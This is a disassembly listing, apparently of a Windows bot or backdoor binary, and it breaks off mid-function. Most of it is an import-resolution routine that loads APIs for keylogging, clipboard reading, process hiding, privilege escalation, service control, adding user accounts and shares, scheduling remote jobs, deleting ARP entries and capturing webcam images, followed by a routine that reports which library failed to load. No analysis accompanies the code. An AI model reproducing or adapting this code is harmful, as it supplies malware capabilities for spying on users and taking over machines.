loc_4097A7: ; CODE XREF: sub_409706+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_4097B1
loc_4097AD: ; CODE XREF: sub_409706+90j
; sub_409706+96j
and [ebp+var_8], 0
loc_4097B1: ; CODE XREF: sub_409706+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_409789
cmp [ebp+var_8], 0
jz short loc_4097DE
loc_4097C1: ; CODE XREF: sub_409706+81j
push [ebp+var_14]
push offset dword_439A38
push ebx
push [ebp+arg_0]
push offset unk_42CDC0
push edi
push esi
call sub_41782A
add esp, 1Ch
jmp short loc_4097F6
; ---------------------------------------------------------------------------
loc_4097DE: ; CODE XREF: sub_409706+87j
; sub_409706+B9j
push offset dword_439A38
push ebx
push [ebp+arg_0]
push offset unk_42CE2C
push edi
push esi
call sub_41782A
add esp, 18h
loc_4097F6: ; CODE XREF: sub_409706+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_40974C
push [ebp+var_14]
push 0
nop
call near ptr 2710ADFh
push eax
nop
call near ptr 2700000h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_409706 endp
; =============== S U B R O U T I N E =======================================
sub_40981F proc near ; CODE XREF: ___:0040E6F1p
push ebx
push ebp
mov ebp, dword_424100
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4240DC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_40993F
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_43AE44, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_43ADB8, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_43AD9C, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_43ACB8, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_43AC64, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_43AC94, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_43AD08, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_43ADF8, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_43AE54, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_43ACC4, eax
call esi
cmp dword_43AE44, ebx
mov dword_43ACAC, eax
jz short loc_40991D
cmp dword_43ADB8, ebx
jz short loc_40991D
cmp dword_43AD9C, ebx
jz short loc_40991D
cmp dword_43ACB8, ebx
jz short loc_40991D
cmp dword_43AC94, ebx
jz short loc_40991D
cmp dword_43AD08, ebx
jz short loc_40991D
cmp dword_43ADF8, ebx
jz short loc_40991D
cmp dword_43AE54, ebx
jz short loc_40991D
cmp dword_43ACC4, ebx
jz short loc_40991D
cmp eax, ebx
jnz short loc_409927
loc_40991D: ; CODE XREF: sub_40981F+B8j
; sub_40981F+C0j ...
mov dword_43AE58, 1
loc_409927: ; CODE XREF: sub_40981F+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_43ADD0, eax
jz short loc_409954
push 1
push ebx
call eax
jmp short loc_409954
; ---------------------------------------------------------------------------
loc_40993F: ; CODE XREF: sub_40981F+1Dj
nop
call near ptr 2660B07h
mov dword_43AE5C, eax
mov dword_43AE58, 1
loc_409954: ; CODE XREF: sub_40981F+117j
; sub_40981F+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26F072Bh
mov edi, eax
cmp edi, ebx
jz loc_409A69
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_43ADF4, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_43ADA4, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_43AD38, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_43AE48, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_43AD68, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_43AD88, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_43ADEC, eax
call esi
cmp dword_43ADF4, ebx
mov dword_43ACE0, eax
jz short loc_409A0D
cmp dword_43ADA4, ebx
jz short loc_409A0D
cmp dword_43AD38, ebx
jz short loc_409A0D
cmp dword_43AE48, ebx
jz short loc_409A0D
cmp dword_43AD68, ebx
jz short loc_409A0D
cmp dword_43AD88, ebx
jz short loc_409A0D
cmp dword_43ADEC, ebx
jz short loc_409A0D
cmp eax, ebx
jnz short loc_409A17
loc_409A0D: ; CODE XREF: sub_40981F+1B8j
; sub_40981F+1C0j ...
mov dword_43AE60, 1
loc_409A17: ; CODE XREF: sub_40981F+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_43AD64, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_43AC78, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_43AD34, eax
call esi
cmp dword_43AD64, ebx
mov dword_43AD20, eax
jz short loc_409A74
cmp dword_43AC78, ebx
jz short loc_409A74
cmp dword_43AD34, ebx
jz short loc_409A74
cmp eax, ebx
jnz short loc_409A7E
jmp short loc_409A74
; ---------------------------------------------------------------------------
loc_409A69: ; CODE XREF: sub_40981F+144j
call near ptr 2660B07h
nop
mov dword_43AE64, eax
loc_409A74: ; CODE XREF: sub_40981F+232j
; sub_40981F+23Aj ...
mov dword_43AE60, 1
loc_409A7E: ; CODE XREF: sub_40981F+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409C19
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_43AE08, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_43AD4C, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_43ADBC, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_43ACA4, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_43AD04, eax
call esi
cmp dword_43AE08, ebx
mov dword_43AD74, eax
jz short loc_409B09
cmp dword_43AD4C, ebx
jz short loc_409B09
cmp dword_43ADBC, ebx
jz short loc_409B09
cmp dword_43ACA4, ebx
jz short loc_409B09
cmp dword_43AD04, ebx
jz short loc_409B09
cmp eax, ebx
jnz short loc_409B13
loc_409B09: ; CODE XREF: sub_40981F+2C4j
; sub_40981F+2CCj ...
mov dword_43AE68, 1
loc_409B13: ; CODE XREF: sub_40981F+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_43AD7C, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_43AD54, eax
call esi
cmp dword_43AD7C, ebx
mov dword_43AE04, eax
jz short loc_409B4E
cmp dword_43AD54, ebx
jz short loc_409B4E
cmp eax, ebx
jnz short loc_409B58
loc_409B4E: ; CODE XREF: sub_40981F+321j
; sub_40981F+329j
mov dword_43AE68, 1
loc_409B58: ; CODE XREF: sub_40981F+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_43AD8C, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_43AC80, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_43AC88, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_43ACE8, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_43ACEC, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_43AC9C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_43AD58, eax
call esi
cmp dword_43AD8C, ebx
mov dword_43AC8C, eax
jz short loc_409BFC
cmp dword_43AC80, ebx
jz short loc_409BFC
cmp dword_43AC88, ebx
jz short loc_409BFC
cmp dword_43ACE8, ebx
jz short loc_409BFC
cmp dword_43ACEC, ebx
jz short loc_409BFC
cmp dword_43AC9C, ebx
jz short loc_409BFC
cmp dword_43AD58, ebx
jz short loc_409BFC
cmp eax, ebx
jnz short loc_409C06
loc_409BFC: ; CODE XREF: sub_40981F+3A7j
; sub_40981F+3AFj ...
mov dword_43AE68, 1
loc_409C06: ; CODE XREF: sub_40981F+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_43AC84, eax
jnz short loc_409C2E
jmp short loc_409C24
; ---------------------------------------------------------------------------
loc_409C19: ; CODE XREF: sub_40981F+26Aj
nop
call near ptr 2660B07h
mov dword_43AE6C, eax
loc_409C24: ; CODE XREF: sub_40981F+3F8j
mov dword_43AE68, 1
loc_409C2E: ; CODE XREF: sub_40981F+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409CFA
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_43AD84, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_43ADDC, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_43ADE4, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_43ADA0, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_43ACC8, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_43AC74, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_43ADE0, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_43AC60, eax
call esi
cmp dword_43AD84, ebx
mov dword_43ACFC, eax
jz short loc_409D05
cmp dword_43ADDC, ebx
jz short loc_409D05
cmp dword_43ADE4, ebx
jz short loc_409D05
cmp dword_43ADA0, ebx
jz short loc_409D05
cmp dword_43ACC8, ebx
jz short loc_409D05
cmp dword_43AC74, ebx
jz short loc_409D05
cmp dword_43ADE0, ebx
jz short loc_409D05
cmp dword_43AC60, ebx
jz short loc_409D05
cmp eax, ebx
jnz short loc_409D0F
jmp short loc_409D05
; ---------------------------------------------------------------------------
loc_409CFA: ; CODE XREF: sub_40981F+41Aj
call near ptr 2660B07h
nop
mov dword_43AE74, eax
loc_409D05: ; CODE XREF: sub_40981F+49Bj
; sub_40981F+4A3j ...
mov dword_43AE70, 1
loc_409D0F: ; CODE XREF: sub_40981F+4D7j
mov ebp, dword_4240E0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409FCB
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_43AD10, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_43AE3C, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_43ACB4, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_43AC90, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_43AD44, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_43AD2C, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_43ACF8, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_43AE18, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_43AE34, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_43AD40, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_43AE24, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_43ADD8, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_43AD98, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_43AD94, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_43ACD4, eax
call esi
push offset aSend ; "send"
push edi
mov dword_43ACCC, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_43ADE8, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_43ADFC, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_43ADB0, eax
call esi
mov dword_43AD70, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_43ADC4, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_43AD80, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_43ADC0, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_43AE2C, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_43AD78, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_43AD3C, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_43ADAC, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_43AE1C, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_43AD50, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_43ACF4, eax
call esi
cmp dword_43AD10, ebx
mov dword_43AE30, eax
jz loc_409FD6
cmp dword_43AE3C, ebx
jz loc_409FD6
cmp dword_43ACB4, ebx
jz loc_409FD6
cmp dword_43AD44, ebx
jz loc_409FD6
cmp dword_43AD2C, ebx
jz loc_409FD6
cmp dword_43ACF8, ebx
jz loc_409FD6
cmp dword_43AE18, ebx
jz loc_409FD6
cmp dword_43AE34, ebx
jz loc_409FD6
cmp dword_43AD40, ebx
jz loc_409FD6
cmp dword_43AE24, ebx
jz loc_409FD6
cmp dword_43ADD8, ebx
jz loc_409FD6
cmp dword_43AD98, ebx
jz loc_409FD6
cmp dword_43AD94, ebx
jz loc_409FD6
cmp dword_43ACD4, ebx
jz short loc_409FD6
cmp dword_43ADE8, ebx
jz short loc_409FD6
cmp dword_43ADFC, ebx
jz short loc_409FD6
cmp dword_43ADB0, ebx
jz short loc_409FD6
cmp dword_43AD70, ebx
jz short loc_409FD6
cmp dword_43ADC4, ebx
jz short loc_409FD6
cmp dword_43AD80, ebx
jz short loc_409FD6
cmp dword_43ADC0, ebx
jz short loc_409FD6
cmp dword_43AE2C, ebx
jz short loc_409FD6
cmp dword_43AD78, ebx
jz short loc_409FD6
cmp dword_43AD3C, ebx
jz short loc_409FD6
cmp dword_43ADAC, ebx
jz short loc_409FD6
cmp dword_43AE1C, ebx
jz short loc_409FD6
cmp dword_43AD50, ebx
jz short loc_409FD6
cmp eax, ebx
jnz short loc_409FE0
jmp short loc_409FD6
; ---------------------------------------------------------------------------
loc_409FCB: ; CODE XREF: sub_40981F+501j
nop
call near ptr 2660B07h
mov dword_43AE7C, eax
loc_409FD6: ; CODE XREF: sub_40981F+6A0j
; sub_40981F+6ACj ...
mov dword_43AE78, 1
loc_409FE0: ; CODE XREF: sub_40981F+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A0E5
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_43ACDC, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_43AC68, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_43AD60, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_43AD14, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_43AD6C, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_43AD30, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_43ACA8, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_43ACA0, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_43ACB0, eax
call esi
cmp dword_43ACDC, ebx
mov ecx, dword_43AD30
mov dword_43ADCC, eax
jz short loc_40A0C1
cmp dword_43AC68, ebx
jz short loc_40A0C1
cmp dword_43AD60, ebx
jz short loc_40A0C1
cmp dword_43AD14, ebx
jz short loc_40A0C1
cmp dword_43AD6C, ebx
jz short loc_40A0C1
cmp ecx, ebx
jz short loc_40A0C1
cmp dword_43ACA8, ebx
jz short loc_40A0C1
cmp dword_43ACA0, ebx
jz short loc_40A0C1
cmp dword_43ACB0, ebx
jz short loc_40A0C1
cmp eax, ebx
jnz short loc_40A0CB
loc_40A0C1: ; CODE XREF: sub_40981F+860j
; sub_40981F+868j ...
mov dword_43AE80, 1
loc_40A0CB: ; CODE XREF: sub_40981F+8A0j
cmp ecx, ebx
jz short loc_40A100
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_43AD48, eax
jnz short loc_40A100
jmp short loc_40A0FA
; ---------------------------------------------------------------------------
loc_40A0E5: ; CODE XREF: sub_40981F+7CCj
nop
call near ptr 2660B07h
mov dword_43AE84, eax
mov dword_43AE80, 1
loc_40A0FA: ; CODE XREF: sub_40981F+8C4j
mov dword_43AD48, ebx
loc_40A100: ; CODE XREF: sub_40981F+8AEj
; sub_40981F+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A14A
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_43AD24, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_43AE50, eax
call esi
cmp dword_43AD24, ebx
mov dword_43ACBC, eax
jz short loc_40A155
cmp dword_43AE50, ebx
jz short loc_40A155
cmp eax, ebx
jnz short loc_40A15F
jmp short loc_40A155
; ---------------------------------------------------------------------------
loc_40A14A: ; CODE XREF: sub_40981F+8ECj
nop
call near ptr 2660B07h
mov dword_43AE8C, eax
loc_40A155: ; CODE XREF: sub_40981F+91Bj
; sub_40981F+923j ...
mov dword_43AE88, 1
loc_40A15F: ; CODE XREF: sub_40981F+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A255
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_43AC98, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_43AC70, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_43ACE4, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_43AD18, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_43AE28, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_43ACD0, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_43AC7C, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_43AC6C, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_43AD00, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_43ADF0, eax
call esi
cmp dword_43AC98, ebx
mov dword_43ADA8, eax
jz short loc_40A260
cmp dword_43AC70, ebx
jz short loc_40A260
cmp dword_43ACE4, ebx
jz short loc_40A260
cmp dword_43AD18, ebx
jz short loc_40A260
cmp dword_43AE28, ebx
jz short loc_40A260
cmp dword_43ACD0, ebx
jz short loc_40A260
cmp dword_43AC7C, ebx
jz short loc_40A260
cmp dword_43AC6C, ebx
jz short loc_40A260
cmp dword_43AD00, ebx
jz short loc_40A260
cmp dword_43ADF0, ebx
jz short loc_40A260
cmp eax, ebx
jnz short loc_40A26A
jmp short loc_40A260
; ---------------------------------------------------------------------------
loc_40A255: ; CODE XREF: sub_40981F+94Bj
call near ptr 2660B07h
nop
mov dword_43AE94, eax
loc_40A260: ; CODE XREF: sub_40981F+9E6j
; sub_40981F+9EEj ...
mov dword_43AE90, 1
loc_40A26A: ; CODE XREF: sub_40981F+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A29F
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_43ACC0, eax
call esi
cmp dword_43ACC0, ebx
mov dword_43AD90, eax
jz short loc_40A2AA
cmp eax, ebx
jnz short loc_40A2B4
jmp short loc_40A2AA
; ---------------------------------------------------------------------------
loc_40A29F: ; CODE XREF: sub_40981F+A56j
nop
call near ptr 2660B07h
mov dword_43AE9C, eax
loc_40A2AA: ; CODE XREF: sub_40981F+A78j
; sub_40981F+A7Ej
mov dword_43AE98, 1
loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A2E9
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_43AE14, eax
call esi
cmp dword_43AE14, ebx
mov dword_43AE10, eax
jz short loc_40A2F4
cmp eax, ebx
jnz short loc_40A2FE
jmp short loc_40A2F4
; ---------------------------------------------------------------------------
loc_40A2E9: ; CODE XREF: sub_40981F+AA0j
call near ptr 2660B07h
nop
mov dword_43AEA4, eax
loc_40A2F4: ; CODE XREF: sub_40981F+AC2j
; sub_40981F+AC8j
mov dword_43AEA0, 1
loc_40A2FE: ; CODE XREF: sub_40981F+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A35D
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_43AE40, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_43AE38, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_43AE00, eax
call esi
cmp dword_43AE40, ebx
mov dword_43ACD8, eax
jz short loc_40A368
cmp dword_43AE38, ebx
jz short loc_40A368
cmp dword_43AE00, ebx
jz short loc_40A368
cmp eax, ebx
jnz short loc_40A372
jmp short loc_40A368
; ---------------------------------------------------------------------------
loc_40A35D: ; CODE XREF: sub_40981F+AEAj
nop
call near ptr 2660B07h
mov dword_43AEAC, eax
loc_40A368: ; CODE XREF: sub_40981F+B26j
; sub_40981F+B2Ej ...
mov dword_43AEA8, 1
loc_40A372: ; CODE XREF: sub_40981F+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A3A7
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_43AD0C, eax
call esi
cmp dword_43AD0C, ebx
mov dword_43AE0C, eax
jz short loc_40A3B2
cmp eax, ebx
jnz short loc_40A3BC
jmp short loc_40A3B2
; ---------------------------------------------------------------------------
loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej
call near ptr 2660B07h
nop
mov dword_43AEB4, eax
loc_40A3B2: ; CODE XREF: sub_40981F+B80j
; sub_40981F+B86j
mov dword_43AEB0, 1
loc_40A3BC: ; CODE XREF: sub_40981F+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A445
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_43ADD4, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_43AE20, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_43AD5C, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_43AD1C, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_43ADB4, eax
call esi
cmp dword_43ADD4, ebx
mov dword_43AD28, eax
jz short loc_40A450
cmp dword_43AE20, ebx
jz short loc_40A450
cmp dword_43AD5C, ebx
jz short loc_40A450
cmp dword_43AD1C, ebx
jz short loc_40A450
cmp dword_43ADB4, ebx
jz short loc_40A450
cmp eax, ebx
jnz short loc_40A45A
jmp short loc_40A450
; ---------------------------------------------------------------------------
loc_40A445: ; CODE XREF: sub_40981F+BA8j
nop
call near ptr 2660B07h
mov dword_43AEBC, eax
loc_40A450: ; CODE XREF: sub_40981F+BFEj
; sub_40981F+C06j ...
mov dword_43AEB8, 1
loc_40A45A: ; CODE XREF: sub_40981F+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A48F
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_43ACF0, eax
call esi
cmp dword_43ACF0, ebx
mov dword_43ADC8, eax
jz short loc_40A49A
cmp eax, ebx
jnz short loc_40A4A4
jmp short loc_40A49A
; ---------------------------------------------------------------------------
loc_40A48F: ; CODE XREF: sub_40981F+C46j
nop
call near ptr 2660B07h
mov dword_43AEC4, eax
loc_40A49A: ; CODE XREF: sub_40981F+C68j
; sub_40981F+C6Ej
mov dword_43AEC0, 1
loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40981F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D3p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_43AE58, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A4F4
push dword_43AE5C
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj
cmp dword_43AE60, esi
jz short loc_40A528
push dword_43AE64
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A528: ; CODE XREF: sub_40A4AC+4Ej
cmp dword_43AE68, esi
jz short loc_40A55C
push dword_43AE6C
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A55C: ; CODE XREF: sub_40A4AC+82j
cmp dword_43AE70, esi
jz short loc_40A590
push dword_43AE74
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A590: ; CODE XREF: sub_40A4AC+B6j
cmp dword_43AE78, esi
jz short loc_40A5C4
push dword_43AE7C
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj
cmp dword_43AE80, esi
jz short loc_40A5F8
push dword_43AE84
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej
cmp dword_43AE88, esi
jz short loc_40A62C
push dword_43AE8C
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A62C: ; CODE XREF: sub_40A4AC+152j
cmp dword_43AE90, esi
jz short loc_40A660
push dword_43AE94
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A660: ; CODE XREF: sub_40A4AC+186j
cmp dword_43AE98, esi
jz short loc_40A694
push dword_43AE9C
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40D679
add esp, 20h
loc_40A694: ; CODE XREF: sub_40A4AC+1BAj
